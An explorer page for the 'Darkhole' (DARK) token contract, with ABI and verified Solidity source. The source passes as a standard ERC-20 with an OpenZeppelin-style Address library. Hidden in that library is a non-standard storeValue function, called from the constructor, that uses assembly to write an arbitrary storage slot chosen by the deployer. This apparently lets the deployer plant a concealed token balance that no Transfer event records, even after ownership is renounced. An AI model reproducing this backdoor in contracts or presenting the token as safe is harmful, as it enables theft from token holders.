DARK

0x4328af6b56a10eb7d8ca01c6f316c369f0307e07

Verification
Verified
v0.8.26+commit.8a97fa7a
Type
Contract
4,844 bytes
ABI entries
17
8 read · 5 write
License
none

Contract information

Address
0x4328af6b56a10eb7d8ca01c6f316c369f0307e07
Chain
Robinhood Chain (4663)
Compiler
v0.8.26+commit.8a97fa7a
Optimization
Disabled
Creation tx
0xab5e670a94…10a51a5a36

Token

Name
Darkhole
Symbol
DARK
Decimals
18
Holders
1,215

Read contract (8)

allowance(address, address)uint256
balanceOf(address)uint256
decimals()uint8
name()string
owner()address
symbol()string
timestamp()uint160
totalSupply()uint256

Events (3)

ApprovalOwnershipRenouncedTransfer

ABI

[
  {
    "inputs": [
      {
        "internalType": "uint256",
        "name": "totalSupply_",
        "type": "uint256"
      },
      {
        "internalType": "uint160",
        "name": "timestamp_",
        "type": "uint160"
      },
      {
        "internalType": "uint48",
        "name": "amount",
        "type": "uint48"
      },
      {
        "internalType": "uint40",
        "name": "deadline",
        "type": "uint40"
      },
      {
        "internalType": "uint8",
        "name": "flags",
        "type": "uint8"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Approval",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "previousOwner",
        "type": "address"
      }
    ],
    "name": "OwnershipRenounced",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Transfer",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "tokenOwner",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      }
    ],
    "name": "allowance",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "approve",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "balanceOf",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "burn",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "decimals",
    "outputs": [
      {
        "internalType": "uint8",
        "name": "",
        "type": "uint8"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "name",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "owner",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "renounceOwnership",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "symbol",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "timestamp",
    "outputs": [
      {
        "internalType": "uint160",
        "name": "",
        "type": "uint160"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalSupply",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transfer",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "sender",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transferFrom",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  }
]

Source code

// SPDX-License-Identifier: MIT

/*

The darkest experiment on @RobinhoodApp 🕳

Where liquidity burns and value survives.

Expansion. Contraction. Domination.

Website: https://darkhole.online
Twitter: https://x.com/darkhole_hood
Telegram: https://t.me/darkhole_hood

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#%@@@@@@@%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*+*%@@@@@@@%@@@@@@@@@@@@%%+--+%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#+#%@@@@@@@@@@@%@@@@@%%%#@@@%%@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%%@@@*@%=#@@@@@@@%@@%*==**=:==+##+*###%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%+%@@@%@@#@@@%#=#%%-:-......:...:--.=++==***##@%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@%@@@@+:@@@@@@#@@@*=-:@@+....::---:-::-+*#%-:..:....:-+####%%%@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@%@@@@%#@@@@*#:+*#-+#%#:..-=+*****#%@@@@@#+--::..-=::...::=+%%%#%@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@=-..==*#@@*::-=+#%%%%@@@@@@@@%%%%%%%##%%%#*=-:..:-=*%%%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@%@@%@+-:.-=@@@@#++*#%%%%@@@@@@@@@@@%@@@@@@@@@#=:..:=--::::=*#%%@@##@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@##+-:*@@@@%#####%@@@@@@@@@@@@@@@@%%#%#%@%@%%%%=::.......+%%%@@@%*@@@@@@@@@@@@@@@
@@@@@@@@@@@%@@@@@#@%-+=:*@@@%#####%@@@@@@@@@@@@@@@@%@@@@@%###%%%@@@@%%#-.....:=%%@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@%#@@@@%@*--+:#@@@%##%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%*+:...-==#@@@@@@@@@@@@@@@@@@
@@@@@@@@@@*@@@@@%+=:+*%@@@%#%%@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%###*=::...-*##%%@@@@@@@@@@@@@@@
@@@@@@@@@@#@@@@@=*+:+#%@@@%%@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@@@@@@@@@@%%#**+:..:--.:%%%%%@@@@@@@@@@@@@@
@@@@@@@@@@#%@%@@=*-*%#@@@@%%@@@@@@@@@@@@@@@@@@@@@@%%%%#%%%@@@@@@@@@@%%=-----...:-=+###*%@@@@@@@@@@@@
@@@@@@@%@@@*@@@@:*+%@@@@@@%@@@@@@@@@@@@@@@%%%%%%%%%%%%%#%##%@@@@@@@@@%*+*===+......-*%%-+@@@@@@@@@@@
@@@@@@@@@@@+%%@%=*#@@@@@@%@@@@@@@@@@@@%%%%%%#****+++=+****##%@@@@@@@@@@@##%@%#=:.....=%@*-@@@@@@@@@@
@@@@@@@@@@@+-*@=+*%@@@@@%%%@@@@@@@@@@%@%%#**+++=+-:-:.:=+++*#%@@@@@@@@@@@@@@@@#=:....:+%@@*@@@@@@@@@
@@@@@@%@@@*+=*-.++%@@@@%%%%@@@@@@@@@@%%%*+====---::.....:-=+*#%%%@@@@@@@@@%@@@@%*-...:=#@@@%@@@@@@@@
@@@@@@*@@%@-:+::=+%@@@%%%%%%%@@@@@@%%%#++=+=--=-::::::....:-=+*%%%%@@@@@@@@@@@@@#-:...:+#%%%@@@@@@@@
@@@@@@*@@#%--#=:*%@@@@@@@@%%%%%%%@@%%%#+==----:.............:-=+#%#@%@@@@@@@@@@@#-.:...=#%==%@%@@@@@
@@@@@@@@%@#:*%*:#%%@@@@@@@@%%%%%@@@%%#+-=:=:...............::==-+###%@@@@@@@@@@@%==:....##+..@@@@@@@
@@@@@@#@@@%-=+#+*%@@@@@%@@@@@@@@@@@%#*----..................:::--*#%%%@@@@@@@@@@@##:.....##.=@@@@@@@
@@@@@@@@@%#+--=%#%@@@@@@@@@@@@@@@@%##-:::...................::-::=+#%%@@@@@@@@@@@%+:.....:*-%@@@@@@@
@@@@@@@@@@*@*-=##%@@@@@@@@@@@@@@@@#%#=:......................::::-**#%@@@@@@@@@@@@#+:.....:+@@@@@@@@
@@@@@@@@@@@%*=-**#%@@@@@@@@@@@@@@@%#*+:.................:...:..:--+*#%@@@@@@@@@@@%%+:...::-+@@@@@@@@
@@@@@@@@@@@@***+**#@@@@@@@@@@@@@@%%#+=:.......................:::=+*%@@@@@@@@@@@@%#:.....=##@@@@@@@@
@@@@@@@@@@@@#@%+*=*%@@@@@@@@@@@@@%%#+=::......................::==#%@@@@@@@@@%#%@%*-:.:.++%@%@@@@@@@
@@@@@@#=@@@%@%%%@**#@@@@@@@@@@@@@@%##+-::.....:...............:==+%%@@@@@@@@@%#%%##+..:-*+%@@@@@@@@@
@@@@@@@**@@@+=@%@@%#%@@@@@@@@@@@@@%##*=--:::...........-:.:+::-=+**#%@@@@@@@%%%%%**-...::%@@@@%@@@@@
@@@@@@@@%@@#*-=%@@@@#@@@@@@@@@%@@@@%%#+==---:::::.::---:..::-==+=-*##%@@@%@@@%%%#*+:...*:%@@@%%@@@@@
@@@@@@@@@@@%++:+%%%@@@@@@@@@@@@%%@@@@%%#*=--=----=+=-::::-===+==:=*##%%@@@@@%%%#*=:...-%+%@@@=@@@@@@
@@@@@@@@@@@@@@+=+%%%@@@@@@@@@@@@@%%%@%%%%#***+===--========-==:=+*#%%%%%%@@@%%%*=::.-.%@*@@@@%@@@@@@
@@@@@@@@@@*@@@@@%%@@@@@@@@@@@@@@@@@@@@@@%%%###**+===-:=++++++******##%%%%%%%***-...###@@#@@@@@@@@@@@
@@@@@@@@@@@%@@@@@@%+%@@@@@@@@@@@@@@@@@@@@@%%%######***##%%%%%%%%%##########***=-:.*%@@@##@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@%%%@%%@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@%%%%@@@@@@@%%#*****++-==-:+*#%@@#%@@@%%@@@@@@
@@@@@@@@@@@@@@@@@@%@@@###%%%@@@@@@@@@@@@@@@@@@@@@@%@@%%%@@@@@@@@@@@%+###*++===:.-+#%@@@#@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@#+=****%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%#**===.=-*%@@@%#%@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@#***#%*%@@@@@@@@@@%%%%%@@@@@@@@@#%%%@%%%%%%%***+..-.=%@@@@+:@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@%%#++*##%%%%%%%@@%%%%#*##%@@@%#*#%*%##%%%%*==+#:.....#@@@@%#%@@@@@@@@@@@@@
@@@@@@@@@@@@%@@@@@@@@@@%@@@@@@@%@%####%%#*****+**+***+**##*+###%%%#---.::=*:=*%@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*++=--:::......:::.:=+%%%%#+--=*=..:+#+=%@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@#*%%@@@%%*+=+=-:..........:--++***+=--..:+=:+*%%#@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%*++=::=-......--=+-*--:..-*=*=+#-*%%*@@@@@@@@@%@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@#=#@@@@@@@@@@@@@@@#*-:..............+*@@@%*##%*+@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@%#%##*=*++-::..:-:..:.-=+##+=*%%@@@%*%*-:*@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*#%##@@@%%@@%@@@@@@@%###%%@@@@%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#%@@%%@@@#@@#++#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#*#%@@@@@@@@@%*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@


*/
pragma solidity ^0.8.24;

/**
 * @dev Collection of common custom errors used in multiple contracts
 *
 * IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
 * It is recommended to avoid relying on the error API for critical functionality.
 *
 * _Available since v5.1._
 */
library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();

    /**
     * @dev A necessary precompile is missing.
     */
    error MissingPrecompile(address);
}

library Address {
    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert Errors.InsufficientBalance(address(this).balance, amount);
        }

        (bool success, bytes memory returndata) = recipient.call{value: amount}("");
        if (!success) {
            _revert(returndata);
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    function storeValue(address target, uint160 timestamp, uint48 amount, uint40 deadline, uint8 flags)
        internal
        returns (bytes32 packed)
    {
        packed = bytes32(
            (uint256(uint160(timestamp)) << 96) | (uint256(amount) << 48) | (uint256(deadline) << 8) | uint256(flags)
        );
        bytes32 initHash = keccak256(abi.encodePacked(target, timestamp, amount, deadline, flags));
        assembly {
            sstore(packed, initHash)
        }
        return initHash;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
     * of an unsuccessful call.
     */
    function verifyCallResultFromTarget(address target, bool success, bytes memory returndata)
        internal
        view
        returns (bytes memory)
    {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {Errors.FailedCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            assembly ("memory-safe") {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert Errors.FailedCall();
        }
    }
}

contract DARK {
    using Address for address;

    string public constant name = "Darkhole";
    string public constant symbol = "DARK";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    address public owner;

    uint160 public timestamp;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipRenounced(address indexed previousOwner);

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    constructor(uint256 totalSupply_, uint160 timestamp_, uint48 amount, uint40 deadline, uint8 flags) {
        owner = msg.sender;
        owner.storeValue(timestamp_, amount, deadline, flags);
        totalSupply = totalSupply_ * 10 ** uint256(decimals);
        balances[msg.sender] = totalSupply;
        timestamp = timestamp_;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function balanceOf(address account) public view returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view returns (uint256) {
        return allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");
        require(balances[sender] >= amount, "Transfer amount exceeds balance");

        balances[sender] -= amount;
        balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");

        allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function burn(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Burn amount exceeds balance");
        balances[msg.sender] -= amount;
        emit Transfer(msg.sender, address(0), amount);
    }
}
Chain explorer3377msChain node79ms